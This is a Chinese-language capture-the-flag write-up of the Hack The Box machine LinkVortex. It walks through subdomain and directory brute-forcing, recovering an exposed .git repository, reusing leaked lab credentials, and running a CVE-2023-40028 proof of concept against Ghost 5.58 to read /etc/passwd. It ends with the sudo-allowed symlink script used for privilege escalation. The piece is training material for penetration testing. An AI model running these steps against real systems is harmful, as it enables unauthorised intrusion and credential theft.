[HTB]LinkVortex WriteUp
redpomelo Lv2

前言

今天来玩一下靶机,记录一下

靶机地址:https://app.hackthebox.com/machines/LinkVortex

渗透过程

image-20241214162327733

开局给了一个IP地址

1
└─$ sudo nmap 10.10.11.47 --min-rate 10000 -sS -sV -O -p- 

扫描

使用Nmap用半开放式扫描进行端口探测,并探测系统版本

image-20241214163807087

最终得到了以上结果,可以见到开放了80和22端口,说明是有http服务存在的,尝试直接访问网站,这边直接跳转到了一个网址http://linkvortex.htb/,但是打不开,尝试把ip地址加入到hosts里面

1
sudo vim /etc/hosts

image-20241214164108104

子域名爆破

现在在进行访问就是正确的内容了,大概翻看了一下,没有得到什么有价值的信息

image-20241214164133079

根据网页最右下角的版权信息(Powered by Ghost)可以知道这用了一个叫做Ghost的CMS搭建,既然他给了域名那肯定不是白给的,尝试对子域名进行爆破

1
2
3
4
┌──(kali㉿redpomelo)-[~]                            │
└─$ ffuf -c -u http://linkvortex.htb/ -H "HOST:FUZZ.│
linkvortex.htb" -w ~/tools/Subdomain_List/subdomains│
.txt -fc 301

成功找到了子域名.dev,同时附上我所使用的子域名字典:点击访问

image-20241214165205463

目录爆破

找到子域的同时,修改hosts文件把找到的子域丢进去,然后对子域名进行一波目录爆破看看能不能找到什么有价值的信息

1
2
┌──(kali㉿redpomelo)-[~]
└─$ sudo gobuster dir -u http://dev.linkvortex.htb/ -w ~/tools/scan-dictmaster/dir.txt

image-20241214165725552

找到两个,这个git文件就很有意思

image-20241214170120939

查阅资料,知道了有个项目叫GitHack,它从.git 文件夹重建源代码,同时保持目录结构不变。

项目链接:https://github.com/lijiejie/GitHack

1
python3 GitHack.py http://dev.linkvortex.htb/.git/

使用如上命令把他的整个项目源代码恢复下来

image-20241214170917830

里面全是文件夹,

1
/home/kali/tools/GitHack/dev.linkvortex.htb/ghost/core/test/regression/api/admin

只有这个目录有个js文件,查看后发现有很多password关键字image-20241214171602573

网上搜了下这个CMS的后台地址

image-20241214171853291

随便找了几个账密试了一下,但是试了几下都没试出来,红温了,写个脚本提取里面的账密用burp全部跑了一遍发现都没有进去,这时候开始观察账户名是否是错的,发现那个文件里的都是@example.com后缀,遂尝试admin@linkvortex.htb

和第一个密码进行登录,然后就进入后台了

1
2
username: [email protected]
password: OctopiFociPilfer45

进入后台

image-20241214174031738

进入后台溜达了一下发现没有什么东西,之前找到的git文件可以看得见这个CMS的版本号是5.58,遂上网查一下公开漏洞

image-20241214174141719

https://security.snyk.io/package/npm/ghost/5.58.0

在以上站点可以看得到5.58这个版本存在的公开漏洞,大多数都是些xss什么的,没啥利用价值,只有一个任意文件读取值得一看

image-20241214174344547

点进去知悉此漏洞编号是CVE-2023-40028 (opens in a new tab),在google查找CVE-2023-40028 Github找到了POC 下载下来

image-20241214174755384

修改POC脚本中的参数为我们的目标

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[root@redpomelo] /home/kali/temp 
❯ ./CVE-2023-40028.sh -u [email protected] -p OctopiFociPilfer45
WELCOME TO THE CVE-2023-40028 SHELL
file> /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash

成功读取到了/etc/passwd,在之前我们用GitHack弄出来的文件中还有一个Dockerfile

image-20241214180453434

这里的名字长得就像是配置文件,查看后得到用户名和密码

1
2
username:[email protected]
password:fibber-talented-worth

尝试ssh登录

image-20241214181807665

卡了一个多小时没连上去,心态炸了

用HTB的盒子连上去了,成功进入系统,

image-20241214194847592

成功拿到flag~

提权

速度得快点了,免费的盒子只有几分钟时间,快到期了

1
2
3
4
5
6
7
8
bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty, env_keep+=CHECK_CONTENT

User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

sudo -l检查当前用户的权限,发现可以访问/opt/ghost/clean_symlink.sh *.png

看一下这是个啥东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
bob@linkvortex:~$ cat /opt/ghost/clean_symlink.sh
#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fi

image-20241214195315043

喂给AI来解答

image-20241214195656225

这样就拿到了FLag

image-20241214195607836

至此就拿下全部Flag咯

总结

前期都是简简单单的信息搜集,提权部分不像传统信息搜集,这个靶机还是偏入门,没有涉及什么很超纲的知识点

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 15.4k 访客数 访问量